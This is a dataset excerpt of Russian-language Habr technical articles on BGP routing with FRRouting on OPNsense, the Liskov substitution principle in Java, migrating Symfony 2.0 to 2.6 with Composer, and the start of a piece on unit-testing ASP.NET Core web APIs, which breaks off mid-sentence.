text
stringlengths
20
1.01M
url
stringlengths
14
1.25k
dump
stringlengths
9
15
lang
stringclasses
4 values
source
stringclasses
4 values
# Динамическая маршрутизация на основе FRRouting ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/d08/795/969/d087959695fb9f6fb2e12edd9472a2bd.png)Меня зовут Евгений, я занимаюсь развитием сетевой инфраструктуры в Домклик. Сегодняшняя статья будет охватывать только применение динамической маршрутизации на основе FRRouting (FRR), но, возможно, в будущем я напишу продолжение о том, как конфигурировать другое оборудование, которое вы встретите в тексте. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/54c/d7e/5a4/54cd7e5a45be5d8a111b9d38da28e91d.png)Задача ------ Понадобилось мне создать сетевую связность между двумя локациями, но так вышло, что по техническим причинам использовать для этого протоколы семейства IGP (например, всеми любимый OSPF) не представлялось возможным, а вот применить BGP оказалось вполне реально. Из вводных у меня на одной локации имеется два маршрутизатора Juniper MX204, а на второй — среда виртуализации. Выбор решения ------------- Начал я с изучения интернета и некоторой документации, что, в итоге, привело меня к решению использовать связку из двух виртуальных машин OPNsense с пакетом FRR на борту. Выбор был обусловлен тем, что я получаю знакомый мне межсетевой экран на границе периметра, с которым у меня уже сложились отношения, и возможность в один клик получить динамическую маршрутизацию благодаря простой установке плагина. Ещё одним преимуществом решения послужила отличная возможность поближе познакомиться с FRR на реальной задаче. OPNsense — это open-source дистрибутив на основе FreeBSD, который из коробки имеет всё необходимое, чтобы стать защитником вашего периметра, включая механизм репликации тех кусков конфигурации, что вы сами выберите. Также он имеет удобный механизм установки дополнительных плагинов (коих много), включая FRR, Bind, Proxy, WireGuard и т.д. FRRouting — это программный пакет, который на текущий момент позволяет реализовать работу таких протоколов, как OSPF, IS-IS, EIGRP, RIP, PBR, VRRP и т.д. на всех современных \*NIX-системах, включая Linux и BSD. Для конфигурирования используется набор Cisco-like команд, что удобно специалистам вроде меня. Иными словами, это очень мощный инструмент с большим набором возможностей, но, конечно, есть и различные ограничения, которые зависят от операционной системы и используемого ею ядра. Исходя из этого рекомендую перед применением погрузиться в [документацию](http://docs.frrouting.org/en/latest/overview.html#about-frr). Для примера могу сказать, что мои эксперименты с VRRP на Centos 7 с FRR не принесли ожидаемых результатов, и в этом случае пакет keepalived даёт больше гибкости. Архитектура ----------- ![Архитектура решения.](https://habrastorage.org/r/w1560/getpro/habr/upload_files/c64/1e0/6b1/c641e06b159f2472473b1d3f98c1ee89.png "Архитектура решения.")Архитектура решения.В локации №1 расположены два Juniper MX204, и мы будем считать, что у них уже настроено по одной eBGP-сессии до транспортного уровня и одна iBGP-сессия между ними. Такая конфигурация обеспечивает мне отказоустойчивость. В локации №2 расположена среда виртуализации, в которой поднято две виртуальные машины с OPNsense на борту. У каждой из них будет по две eBGP-сессии до транспортной инфраструктуры и вообще не будет iBGP. Такое решение связано с моим желанием использовать классическую для межсетевых экранов схему работы кластера: active-passive. Я не планирую прокачивать через эти виртуальные машины большое количество данных, и схема active-active мне тут попросту не нужна. Локации будут обмениваться трафиком через транспортную инфраструктуру, маршрутизаторы которой просто пересылают между собой анонсы, полученные по BGP от локаций. > *Я знаю, что есть много разных способов организовать сетевую связность, например можно было поднять VPN и гонять какой-нибудь OSPF внутри него, но в моём случае выбранная архитектура обусловлена причинами, выходящими за рамки статьи.* > > Реализация ---------- Берём за основу, что у нас уже установлено две виртуальные машины с OPNSense и настроены базовые параметры, такие как интерфейсы, статическая маршрутизация, правила Firewall, доступы, репликация конфигурации на резервную машину посредством HA и т.д. > *На время отладки маршрутизации можно вовсе отключить функционал межсетевого экрана, чтобы ничего не препятствовало движению трафика, правда, вместе с этим отключится и NAT. Для этого надо в Firewall -> Settings -> Advanced поставить галочку "Disable all packet filtering".* > > Начнём с установки плагина FRR на наши OPNSense, для этого перейдём в System -> Firmware -> Plugins и в строке поиска напишем frr. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/385/d46/05c/385d4605c2ff8ba032f0d8570a634c4f.png) > *Чтобы после установки плагина его можно было начать конфигурировать, необходимо разлогиниться из системы и залогиниться обратно.* > > После успешной установки плагина переходим в Routing -> General и включаем FRR, здесь же включаем "Enable CARP Failover". Эта функция позволяет на основании состояния виртуального IP-адреса выключать сервис FRR на резервной машине. Для этого необходимо создать конфигурацию виртуального IP-адреса. Перейдём в Interfaces -> Virtual IPs -> Settings и создадим новый виртуальный IP-адрес через значок плюсика. ![Страница конфигурации Virtual IP.](https://habrastorage.org/r/w1560/getpro/habr/upload_files/062/f77/b0d/062f77b0d38a3dddad607bceb30a238d.png "Страница конфигурации Virtual IP.")Страница конфигурации Virtual IP.Думаю, что описывать каждое поле смысла нет, но хочу заострить внимание на паре моментов: 1. Mode: нужен CARP. 2. Advertising Frequency состоит из двух значений: Base и Skew. Первое отвечает за частоту обновлений в секунду, а второе — за приоритет, при этом меньшее значение приоритетнее большего, что противоположно VRRP. После сохранения конфигурации её можно реплицировать на резервную машину по HA, и на ней значение Skew будет автоматически больше, то есть менее приоритетным. Возвращаемся в Routing и приступаем к настройке протокола BGP. Первым делом включим протокол и зададим базовые значения: * BGP AS Number:номер нашей автономной системы. * Network: список подсетей, которые мы хотим анонсировать. ![Базовая конфигурация BGP.](https://habrastorage.org/r/w1560/getpro/habr/upload_files/f6f/157/5e0/f6f1575e02633979b7b7bbd41cedc14b.png "Базовая конфигурация BGP.")Базовая конфигурация BGP.Во вкладке Neighbors настраиваются параметры установления соседства с другим маршрутизатором, в моём случае это eBGP-соседи, расположенные на границе транспортной инфраструктуры. Из обязательного тут нужно настроить IP-адреса соседей и их AS-номера, всё остальное по желанию и зависит от конкретных условий и потребностей. ![Базовая конфигурация соседства.](https://habrastorage.org/r/w1560/getpro/habr/upload_files/aa3/b24/e5c/aa3b24e5c2272d070f0132ca1907d041.png "Базовая конфигурация соседства.")Базовая конфигурация соседства. > *Например, может понадобиться параметр Multi-Hop, когда сосед находится не в одной с вами подсети, или параметр Next-Hop-Self, когда вы хотите в передаваемых анонсах по iBGP менять значение next-hop на адрес локального маршрутизатора (в eBGP этот параметр работает по умолчанию).* > > Базовая конфигурация меня не устраивает и я хочу её изменить. Первым делом мне нужно выставлять собственный Local preference для получаемых по BGP префиксов. Для настройки этого параметра переходим во вкладку Route Maps и нажимаем плюсик рядом с кнопкой Reload Service. В открывшемся окне задаём уникальное название в поле Name, пусть будет RM-local-pref-150, уникальный номер в ID, выполняемое действие при срабатывании в Action, и вводим команду `local-preference 150` в поле Set. Таким образом я буду указывать своему OPNSense, в какой из двух каналов отправлять трафик: чем выше значение, тем приоритетнее. ![Local preference 150.](https://habrastorage.org/r/w1560/getpro/habr/upload_files/5e7/5c5/1bf/5e75c51bf3bee352434040d8ab4f03e6.png "Local preference 150.")Local preference 150. > *Значение по умолчанию у Local preference зачастую равно 100, но в FRR оно равно 0.* > > Вторая кастомизация — это сообщить маршрутизатору в транспортной инфраструктуре увеличенный атрибут `AS-Path`, чтобы он понимал, какой канал я считаю приоритетным для приёма от него трафика. Для этого создадим ещё один Route map с названием `RM-as-path` и другим ID, а в поле Set укажем `as-path prepend 65010 65010`. Атрибут AS-Path указывает на количество автономных систем, которые придётся пройти трафику, соответственно, чем он короче, тем приоритетнее. ![AS-Path prepend.](https://habrastorage.org/r/w1560/getpro/habr/upload_files/9b8/56b/ddc/9b856bddce72f06e8a16bbf3d955379e.png "AS-Path prepend.")AS-Path prepend. > *Конечно, этот атрибут будет иметь значение только в том случае, если соседский маршрутизатор не выставил у себя локально значения Weight или Local preference таким образом, чтобы канал, в котором мы увеличили путь, всё равно для него являлся приоритетным, так как при выборе лучшего пути атрибут AS-Path учитывается не в первую очередь.* > > Последнее изменение — установка списка префиксов, которые я буду принимать по BGP, чтобы только они могли попасть в таблицу маршрутизации. Для этого перейдём во вкладку Prefix Lists и создадим новый с названием PF-IN. ![Prefix list.](https://habrastorage.org/r/w1560/getpro/habr/upload_files/1ef/2a9/8e0/1ef2a98e045d8d1caedcef8f032ab9c9.png "Prefix list.")Prefix list.Если требуется описать несколько подсетей для одного списка префиксов, то для каждой настройки должно быть неизменно поле Name, а значение в Number должно быть уникальным, оно выступает тут в роли порядкового номера. Ниже представлен пример, как описать несколько подсетей в рамках одно списка префиксов. ![Пример нескольких записей.](https://habrastorage.org/r/w1560/getpro/habr/upload_files/200/b03/eac/200b03eac82bc7fd35ed4fd855445440.png "Пример нескольких записей.")Пример нескольких записей.Все изменения готовы и теперь их надо добавить в настройки соседства. Для этого вернёмся на вкладку Neighbors и сделаем так: 1. В Route Map inbound добавляем `RM-local-pref-150`, так как мы регулируем входящие анонсы. 2. В Route Map outbound добавляем `RM-as-path` для того канала, который хотим сделать резервным, эту информацию получит маршрутизатор на границе транспортной инфраструктуры. 3. В Prefix List inbound добавляем `PF-IN`, так как мы фильтруем входящие из анонсов префиксы. Итоговая конфигурация для eBGP-соседств будет выглядеть так: ![Итоговая конфигурация соседств.](https://habrastorage.org/r/w1560/getpro/habr/upload_files/21e/0e6/010/21e0e6010b7fdaa7e77fde5e938669f2.png "Итоговая конфигурация соседств.")Итоговая конфигурация соседств.По завершении настройки в любой из вкладок находим Reload Service и тем самым перезапускаем сервис FRR, чтобы наша конфигурация применилась и начала работать. Есть возможность увидеть итоговую конфигурацию в формате набора Cisco-like команд, для этого переходим в Routing -> Diagnostics -> General и идём во вкладку Running Configuration. В ходе экспериментов мне это помогло понять, как применяется та или иная настройка. ![Консольная конфигурация FRR.](https://habrastorage.org/r/w1560/getpro/habr/upload_files/215/4d5/334/2154d53343c50786fe3c01447c976908.png "Консольная конфигурация FRR.")Консольная конфигурация FRR.Результат --------- Если перейти в Routing -> Diagnostics -> BGP и выбрать вкладку IPv4 Routing Table, то можно посмотреть, какие подсети мы получили и добавили в таблицу маршрутизации. ![Полученные по BGP маршруты.](https://habrastorage.org/r/w1560/getpro/habr/upload_files/93d/907/4ea/93d9074eaaf3bf080fdabd2facc7dd65.png "Полученные по BGP маршруты.")Полученные по BGP маршруты.В других вкладках можно найти массу полезной информации о всём, что связано работой BGP. В рамках этой статьи я не описывал конфигурацию Juniper, возможно, сделаю по этой теме отдельную статью, а пока предлагаю убедиться, что передаваемые подсети в анонсах FRR успешно достигают Juniper. ![Полученные Juniper маршруты.](https://habrastorage.org/r/w1560/getpro/habr/upload_files/0b0/198/4ae/0b01984ae67be2644f0c37ae60e25f7e.png "Полученные Juniper маршруты.")Полученные Juniper маршруты.За сим откланиваюсь и желаю тебе, дорогой читатель, хорошего настроения!
https://habr.com/ru/post/690058/
null
ru
null
# Принцип подстановки Лисков Всем привет, меня зовут Константин. Я занимаюсь разработкой на Java в Tinkoff.ru и люблю SOLID. В этой статье мы сформулируем принцип подстановки Лисков, покажем его связь с принципом Открытости-Закрытости, узнаем, как правильно формировать иерархию наследования и ответим на философский вопрос о том, является ли квадрат прямоугольником. ![](https://habrastorage.org/r/w1560/webt/mz/zj/kz/mzzjkzpwofsvf8xdlox22eia82w.png) Прежде чем перейти непосредственно к рассматриваемой теме, я хочу сделать шаг назад и обозначить очень важный тезис, необходимый для правильного и полного понимания того, о чем будет говориться в статье. Вспомним [принцип открытости-закрытости](https://habr.com/ru/company/tinkoff/blog/472186/). Он говорит о том, что в хорошо спроектированных программах новая функциональность вводится путем добавления нового кода, а не изменением старого, уже работающего. И это есть основа написания поддерживаемого и переиспользуемого кода. Принцип подстановки Лисков (далее LSP) — это по сути гайдлайн того, как реализовать этот принцип при построении иерархии наследования классов в объектно-ориентированных языках программирования. По сути правильная иерархия наследования в ООП — это иерархия, построенная согласно LSP, чтобы отвечать принципу открытости-закрытости. Давайте же его сформулируем: **Функции, использующие указатели или ссылки на базовые классы, должны иметь возможность использовать объекты классов-наследников, не зная об этом.** В первый раз Барбара Лисков сформулировала его так: Для этого нужно, чтобы выполнялось следующее свойство подстановки: если для каждого объекта o1 типа S существует такой объект o2 типа T, что для всех программ P, определенных в терминах T, поведение программы P не изменяется, если вместо o2 подставить o1, то S — подтип T. Таким образом, если функция не отвечает LSP, то это фактически значит, что, если она использует указатель или ссылку на базовый класс, то *должна знать* обо всех наследниках базового класса. Такая функция нарушает принцип открытости-закрытости, потому что ее необходимо изменять каждый раз, когда появляется новый наследник базового класса. Простой пример нарушения LSP ============================ Представим, что у нас есть такая функция: ``` void drawShape(Shape shape) { if (shape instanceof Square) { drawSquare((Square) shape); } else { drawCircle((Circle) shape); } } ``` В ней используется определение класса во время выполнения и в зависимости от результата вызывается нужная функция с явным приведением класса аргумента. И если добавится новый наследник класса Shape, ее нужно будет изменить, так как иначе произойдет вызов drawCircle, которая в лучшем случае выкинет ошибку, а в худшем — отработает некорректно. То есть drawShape должна знать обо всех наследниках класса Shape. Более того, каждый раз, когда мы вводим нового наследника класса Shape либо удаляем его, мы должны вносить в неё изменения. То есть функция не закрыта от изменений в иерархии классов Shape, что по сути и является нарушением принципа открытости-закрытости. Квадрат и прямоугольник ======================= Теперь давайте рассмотрим, как можно нарушить LSP не столь очевидным способом. Предположим, мы разрабатываем программу, которая работает с геометрическими фигурами. В ней есть класс для работы с прямоугольниками: ``` public class Rectangle { private int width; private int height; public int getWidth() { return width; } public void setWidth(int width) { this.width = width; } public int getHeight() { return height; } public void setHeight(int height) { this.height = height; } public int perimeter() { return 2 * height + 2 * width; } } ``` Пока все хорошо. Однако заказчик приходит к нам с требованием, что помимо прямоугольников пользователям нужен удобный функционал для работы с квадратами. Так как мы работаем в парадигме ООП, которая, в частности, говорит нам, что классы должны моделировать объекты реального мира, то наша первая мысль — нужно ввести класс Square. Но как именно? Известно, что наследование реализует отношение «является» (ISA). То есть, когда мы говорим, что новый тип объекта находится в отношении ISA со старым типом объекта, это значит, что новый класс должен быть наследником старого. Квадрат — это очевидно прямоугольник. Следовательно, они находятся в отношении ISA. В свою очередь из этого следует то, что класс *Square* должен быть наследником класса *Rectangle*. Казалось бы, все логично, однако в наших рассуждениях есть изъян, который может привести к неочевидным, но серьезным проблемам. Для начала обратим внимание на то, что классу *Square* не нужны оба поля *height* и *width*, достаточно одного поля, которое можно было просто назвать *side*, однако же при такой реализации он их унаследует. Помимо того, что это просто приводит к лишней трате памяти на хранение одного ненужного поля (а в случае, если программа генерирует достаточно много объектов данного класса, это может стать серьезной проблемой), оно также приводит к усложнению кода. Дело в том, что класс *Square* также наследует *setWidth* и *setHeight*. Очевидно, что их необходимо переопределить следующим образом: ``` @Override public void setWidth(int width) { super.setWidth(width); super.setHeight(width); } @Override public void setHeight(int height) { super.setHeight(height); super.setWidth(height); } ``` Теперь при установке ширины объекта *Square* будет установлена и его длина. То же самое при установке длины. Таким образом гарантируется целостность инвариантов объектов *Square*. С математической точки зрения они будут оставаться корректными фигурами. Тем не менее, помимо того, что теперь наш код содержит лишние вызовы функций, это еще и страшный выстрел в ногу, и сейчас мы увидим почему. Тесты ===== Предположим, при написании класса Rectangle мы написали простой тест: ``` public class RectangleTest { @Test public void perimeter() { Rectangle rectangle = new Rectangle(); rectangle.setHeight(5); rectangle.setWidth(7); int result = rectangle.perimeter(); assertEquals(24, result); } } ``` Очевидно, что при введении класса *Square* мы должны написать тесты и для него. Так как класс *Square* находится в соотношении ISA с классом *Rectangle*, будет логично предположить, что тесты на *Rectangle* должны быть справедливы и для *Square*. А чтобы не дублировать код, мы напишем тесты следующим образом: ``` public class RectangleTest { @Test public void perimeter() { Rectangle rectangle = initRectangle(); rectangle.setHeight(5); rectangle.setWidth(7); int result = rectangle.perimeter(); assertEquals(24, result); } protected Rectangle initRectangle() { return new Rectangle(); } } public class SquareTest extends RectangleTest { @Override protected Rectangle initRectangle() { return new Square(); } } ``` Очевидно, что тест *SquareTest.perimeter* провалится, так как результат вызова функции *perimeter* будет не 24, как написано в тесте, а 28. И тут мы должны задать себе очень важный вопрос: правильно ли написан тест, в котором предполагается, что при изменении длины прямоугольника его ширина не изменяется? Очевидно — да. Наш тест наглядно демонстрирует код, который корректно работает с объектом класса *Rectangle*, но ломается при работе с объектами класса *Square*. То есть не для каждого объекта типа *Square* существует объект типа *Rectangle* такой, что определённая в терминах *Rectangle* программа (в данном случае тест) не меняется, если вместо объекта типа *Rectangle* подставить объект типа *Square*. Следовательно *Square* — не подтип *Rectangle*, следовательно LSP нарушается. Так квадрат — это не прямоугольник? =================================== Квадрат — это, конечно, прямоугольник, но вот объект класса *Square* — это определенно не объект класса *Rectangle*. Дело в том, что поведение объекта класса *Square* не согласовано с поведением объекта класса *Rectangle*. Ведь квадрат ведет себя иначе, чем прямоугольник. Принцип подстановки Лисков наглядно показывает, что в ООП отношение ISA относится именно к поведению. Причем не к внутреннему, а к внешнему поведению, от которого зависят клиенты. Мы всегда должны помнить об этом, когда говорим про моделирование объектов реального мира в парадигме ООП. С этой точки зрения важность написания тестов становится еще более очевидной. Ведь тесты — это тоже клиенты нашей модели, которые позволяют проверить ее правильность с точки зрения предположений, которые могут сделать пользователи. Ведь понять, правильна модель или нет, мы можем только через ее использование. Ну а что тогда делать? ====================== Тут я буду банален: все зависит от задачи. Не существует единственно верной модели на все случаи жизни. Мы всегда должны отталкиваться от требований к нашему программному обеспечению и той функциональности, которую хотим предоставить. Например, и у квадрата, и у прямоугольника есть периметр и, вероятно, в некоторых частях программы нам нужны его значения независимо от того, с какой фигурой мы работаем. В этом случае легко вынести этот метод в интерфейс *Shape* и прописать его имплементации в классах *Square* и *Rectangle*. Также и у квадрата, и у прямоугольника есть четыре стороны и четыре угла. Возможно, мы захотим получать координаты этих углов в пространстве. Тогда можно вынести интерфейс либо абстрактный класс *Quadrangle* с соответствующими методами, он также может пригодиться, если мы захотим ввести в свою программу ромбы, параллелограммы, трапеции и прочее. Вариантов великое множество. Заключение ========== Принцип открытости-закрытости говорит нам о том, что в поддерживаемых и переиспользуемых программах новая функциональность вводится путем добавления нового кода, а не изменением уже существующего. Принцип подстановки Лисков поясняет нам, как этого добиться, когда мы говорим о построении иерархий классов. Если код, оперирующий ссылками на базовые классы, должен знать обо всех его наследниках и изменяться с появлением каждого нового наследника, то этот код не отвечает принципу подстановки Лисков, а значит, не отвечает и принципу открытости-закрытости. На эту статью меня во многом вдохновила статья Роберта Мартина 1996 года — [The Liskov Substitution Principle](https://web.archive.org/web/20151128004108/http://www.objectmentor.com/resources/articles/lsp.pdf). Очень рекомендую с ней ознакомиться. В ней также разобран пример с квадратом и прямоугольником, но с особенностями, специфическими для C++. Кроме того, рассматривается тема проектирования по контракту, а также дан интересный пример нарушения LSP на примере из реального проекта.
https://habr.com/ru/post/490738/
null
ru
null
# Миграция с Symfony 2.0 до 2.6 В этой статье я хотел бы рассказать о некоторых нюансах, через которые пришлось пройти для миграции проекта с устаревшей Symfony 2.0 до актуальной Symfony 2.6. ##### Менеджер зависимостей В каждом проекте Symfony есть свои зависимости (бандлы). В версии 2.0 зависимости указывались в файле deps и подтягивались командой: ``` php bin/vendors install ``` Сейчас для этих целей актуально использовать Composer. Скачиваем Composer в корень репозитория: ``` php -r "readfile('https://getcomposer.org/installer');" | php ``` Затем мы создаем в корне проекта файл composer.json с следующим содержанием: [github.com/symfony/symfony/blob/2.6/composer.json](https://github.com/symfony/symfony/blob/2.6/composer.json) И выполням команду: ``` php composer.phar update ``` После этого к нашему проекту подтянется Symfony 2.6 со всеми нужными для него зависимостями и создастся файл composer.lock, в который запишутся актуальные версии скачанных зависимостей. Все, что нам осталось — это добавить в файл composer.json нужные нам зависимости. Это можно сделать вручную, редактируя файл: ``` "require": { "{название зависимости}":"{версия зависимости}" }, ``` Либо с помощью команды: ``` php composer.phar require {название зависимости}:{версия зависимости} ``` Теперь у нас есть все необходимы бандлы и мы можем удалить файлы deps и deps.lock, но для корректной работы фреймворка нам так же следует обновить файлы web/app.php и web/app\_dev.php: ###### app.php ``` php use Symfony\Component\ClassLoader\ApcClassLoader; use Symfony\Component\HttpFoundation\Request; $loader = require_once __DIR__.'/../app/bootstrap.php.cache'; // Enable APC for autoloading to improve performance. // You should change the ApcClassLoader first argument to a unique prefix // in order to prevent cache key conflicts with other applications // also using APC. /* $apcLoader = new ApcClassLoader(sha1(__FILE__), $loader); $loader-unregister(); $apcLoader->register(true); */ require_once __DIR__.'/../app/AppKernel.php'; //require_once __DIR__.'/../app/AppCache.php'; $kernel = new AppKernel('prod', false); $kernel->loadClassCache(); //$kernel = new AppCache($kernel); // When using the HttpCache, you need to call the method in your front controller instead of relying on the configuration parameter //Request::enableHttpMethodParameterOverride(); $request = Request::createFromGlobals(); $response = $kernel->handle($request); $response->send(); $kernel->terminate($request, $response); ``` ###### app\_dev.php ``` php use Symfony\Component\HttpFoundation\Request; use Symfony\Component\Debug\Debug; // If you don't want to setup permissions the proper way, just uncomment the following PHP line // read http://symfony.com/doc/current/book/installation.html#configuration-and-setup for more information //umask(0000); // This check prevents access to debug front controllers that are deployed by accident to production servers. // Feel free to remove this, extend it, or make something more sophisticated. if (isset($_SERVER['HTTP_CLIENT_IP']) || isset($_SERVER['HTTP_X_FORWARDED_FOR']) || !(in_array(@$_SERVER['REMOTE_ADDR'], array('127.0.0.1', 'fe80::1', '::1')) || php_sapi_name() === 'cli-server') ) { header('HTTP/1.0 403 Forbidden'); exit('You are not allowed to access this file. Check '.basename(__FILE__).' for more information.'); } $loader = require_once __DIR__.'/../app/bootstrap.php.cache'; Debug::enable(); require_once __DIR__.'/../app/AppKernel.php'; $kernel = new AppKernel('dev', true); $kernel-loadClassCache(); $request = Request::createFromGlobals(); $response = $kernel->handle($request); $response->send(); $kernel->terminate($request, $response); ``` ##### Параметры Для версии Symfony 2.0 параметры подгружались из файла app/config/parameters.ini. Все что нам нужно — это переименовать его в app/config/parameters.yml и привести к виду yml файла: Before: ``` [parameters] locale = en ``` After: ``` parameters: locale: en ``` Затем в app/config/config.yml пропишем путь для нашего файла: ``` imports: - { resource: parameters.yml } ``` Параметры изменены и подключены. ##### Обратная совместимость функций С версии 2.0 до 2.6 произошло довольно много изменений, я бы хотел рассказать только о некоторых из них. ###### Формы: Некоторые функции теперь вызывают исключения, если их использовать на уже отправленной форме: ``` add(), remove(), setParent(), bind() and setData() ``` Их можно вызывать из listener в formBuilder непосредственно перед отправкой формы, либо немного изменить логику работы вашей формы. Но в качестве временной меры можно воспользоваться таким вот кодом: ``` $formData = $form->getData(); $form = $this->createForm(new YourForm()); $form->setData($formData); ``` После того как мы заново создали форму и передали в нее все параметры из старой формы, мы можем использовать на ней все те функции, что нельзя было использовать на уже отправленной форме. ###### Валидация форм: Вместо использования в FormBulder более не существующего класса CallbackValidation мы просто используем EventListener, после того, как форма уже отправлена т.е. POST\_SUBMIT. Before: ``` $builder->addValidator(new CallbackValidator(function (FormInterface $form) { $value = $form['date']->getData(); if ($value != null) { $form['date']->addError(new FormError('Введена некорректная дата')); } })); ``` After: ``` $builder->addEventListener(FormEvents::POST_SUBMIT, function (FormEvent $event) { $form = $event->getForm(); $value = $form['date']->getData(); if ($value != null) { $form['date']->addError(new FormError('Введена некорректная дата')); } }); ``` ###### Добавление своей опции в поле формы При создании своей опции в поле формы MyBundle\Forms\ExtensionExtensionForm.php; необходимо указывать, для какого типа полей будут добавляются эти опции: ``` public function getExtendedType() { return 'text'; } ``` Если мы хотим добавить их для всех типов полей, необходимо указать: ``` public function getExtendedType() { return 'form'; } ``` #### Полный перечень изменений [github.com/symfony/symfony/blob/2.7/UPGRADE-2.1.md](https://github.com/symfony/symfony/blob/2.7/UPGRADE-2.1.md) [github.com/symfony/symfony/blob/2.7/UPGRADE-2.2.md](https://github.com/symfony/symfony/blob/2.7/UPGRADE-2.2.md) [github.com/symfony/symfony/blob/2.7/UPGRADE-2.3.md](https://github.com/symfony/symfony/blob/2.7/UPGRADE-2.3.md) [github.com/symfony/symfony/blob/2.7/UPGRADE-2.4.md](https://github.com/symfony/symfony/blob/2.7/UPGRADE-2.4.md) [github.com/symfony/symfony/blob/2.7/UPGRADE-2.5.md](https://github.com/symfony/symfony/blob/2.7/UPGRADE-2.5.md) [github.com/symfony/symfony/blob/2.7/UPGRADE-2.6.md](https://github.com/symfony/symfony/blob/2.7/UPGRADE-2.6.md) Официальная документация Symfony: [symfony.com/doc/current/cookbook/index.html](http://symfony.com/doc/current/cookbook/index.html)
https://habr.com/ru/post/258403/
null
ru
null
# Тестируем веб-API ASP.NET Core > Привет, Хабровчане! Для будущих учащихся на курсе ["C# ASP.NET Core разработчик"](https://otus.pw/04Oe/) публикуем перевод полезной статьи. > > ![](https://habrastorage.org/getpro/habr/upload_files/341/65e/507/34165e507eddc10acddbc4799311cbd6) --- При проектировании и разработке широкого спектра API с использованием ASP.NET Core 2.1 Web API важно понимать, что это только первый этап в создании продуктивного и стабильного решения. Наличие стабильной среды для вашего решения также очень важно. Ключ к отличному решению заключается не только в правильном построении API, но и в его тщательном тестировании, чтобы исключить возможность негативного опыта у пользователей во время использования вашего API. Эта статья является продолжением моей предыдущей статьи для InfoQ под названием «[Продвинутая архитектура веб-API ASP.NET Core](https://www.infoq.com/articles/advanced-architecture-aspnet-core)». Не беспокойтесь, вам не нужно вникать в предыдущую статью, чтобы разобраться с тестированием в этой, но она может помочь вам лучше понять, как я спроектировал обсуждаемое здесь решение. На протяжении последних нескольких лет я много времени размышлял о тестировании, создавая API для клиентов. Знание архитектуры веб-API ASP.NET Core 2.1 может помочь и вам расширить ваше понимание. Солюшн и весь код из примеров в этой статье можно найти в [моем GitHub репозитории](https://github.com/cwoodruff/ChinookASPNETCoreAPINTier). ### Букварь веб-API ASP.NET Core Давайте вкратце рассмотрим .NET и ASP.NET Core. ASP.NET Core — это новый веб-фреймворк, созданный корпорацией Майкрософт в качестве замещающей альтернативы устаревшей технологии, существующей со времен ASP.NET 1.0. Отказавшийся от устаревших зависимостей и разработанный с нуля, фреймворк ASP.NET Core 2.1 спроектирован для кросс-платформенного выполнения и дает разработчику гораздо большую производительность. ### Что такое модульное тестирование? Для некоторых людей тестирование программного обеспечения может быть в новинку, но ничего сложного в нем нет. Начнем с модульного тестирования (или юнит-тестирования). Формальное определение из Википедии — это «процесс в программировании, позволяющий проверить на корректность отдельные модули исходного кода программы, наборы из одного или более программных модулей вместе с соответствующими управляющими данными, процедурами использования и обработки.» Я предпочитаю использовать более доступное определение: модульное тестирование используется для того, чтобы убедиться, что после добавления нового функционала или исправления багов код в вашем приложении работает должным образом. Мы тестируем небольшой фрагмент кода, чтобы убедиться, что он соответствуем нашим ожиданиям. Давайте посмотрим на образец модульного теста: ``` [Fact] public async Task AlbumGetAllAsync() { // Arrange // Act var albums = await _repo.GetAllAsync(); // Assert Assert.Single(albums); } ``` Хороший модульный тест состоит из трех частей. Первая — это **Arrange** часть, которая используется для подготовки любых ресурсов, которые могут понадобиться вашему тесту. В приведенном выше примере мне не требуется никакая подготовительная настройка, поэтому часть Arrange пуста (но я все еще оставляю комментарий к ней). Следующая часть, называемая **Act**,— это часть, в которой выполняется тестируемое действие. В этом примере я вызываю репозиторий данных для сущности типа **Album**, чтобы получить весь набор альбомов из источника данных, который использует репозиторий. В последней части теста мы убеждаемся или утверждаем (**Assert**)что результат выполненного действия был правильным. В этом тесте я проверяю, что получил только один альбом из репозитория данных. Я буду использовать в этой статье инструмент для модульного тестирования xUnit. xUnit — это пакет с открытым исходным кодом для .NET Framework и .NET Core. Мы рассмотрим версию xUnit для .NET Core, которая входит в комплект поставки .NET Core 2.1 SDK. Вы можете создать новый Unit Test проект с помощью команды cli .NET Core dotnet test, либо из шаблона xUnit Test проекта в вашей любимой IDE, такой как Visual Studio 2017, Visual Studio Code или JetBrain's Rider. ![Рисунок 1: Создание нового Unit Test проекта в Visual Studio 2017](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/d31/d5d/2a7/d31d5d2a71150392ed0e00bef1cf969c.jpg "Рисунок 1: Создание нового Unit Test проекта в Visual Studio 2017")Рисунок 1: Создание нового Unit Test проекта в Visual Studio 2017Теперь давайте перейдем к модульному тестированию вашего веб-API ASP.NET Core. Как следует тестировать веб-API? -------------------------------- Я большой сторонник использования модульного тестирования для поддержания стабильности и надежности API для ваших пользователей. Но я подхожу с умом к тому, как я использую свои модульные тесты и что тестирую. Моя философия заключается в том, что вы должны реализовать модульное тестирование своего проекта ровно настолько, насколько это необходимо. Что я имею в виду? Я могу получить много гневных комментариев за эту точку зрения, но меня не слишком заботит 100%-ное покрытие тестами. Считаю ли я, что нам нужны тесты, которые охватывают важные части API и изолируют каждую область независимо, чтобы гарантировать, что контракт каждого сегмента кода соблюден? Конечно! Это именно то, как я делаю и что хочу обсудить. Поскольку наш демо проект Chinook.API очень легковесный, и для него можно провести интеграционное тестирование (об этом чуть позже), я обнаружил, что больше всего концентрируюсь на модульных тестах в моих Domain и Data  проектах. Я не буду вдаваться в подробности о том, как вам следует проводите модульное тестирование (поскольку эта тема выходит за рамки этой статьи). Я хочу, чтобы вы протестировали как можно больше ваших  Domain и Data проектов, используя данные, которые не зависят от вашей производственной базы данных. Это следующая тема, которую мы рассмотрим, под названием «Моки данных и объектов». ### Зачем использовать моки данных/объектов в ваших модульных тестах? Мы рассмотрели, что и зачем нам нужно для модульного тестирования. Важно также понимать, как правильно выполнить модульное тестирование кода веб-API ASP.NET Core. Данные являются ключом к тестированию вашего API. Вам необходимо иметь предсказуемый набор данных, который вы можете протестировать. Вот почему я бы не рекомендовал использовать производственные данные или любые данные, которые могут изменяться со временем без вашего ведома. Нам нужен стабильный набор данных, чтобы убедиться, что все модульные тесты выполняются и подтверждают выполнение контракта между сегментом кода и тестом. В качестве примера, когда я тестирую проект Chinook.Domain для получения альбома (Album) с ID 42, я хочу быть уверен, что он существует и имеет ожидаемые от него детали, такие как имя альбома, и он связан с исполнителем (Artist). Я также хочу быть уверенным, что когда я получаю набор альбомов из источника данных, я получаю ожидаемую форму и размер, которые соответствуют написанному 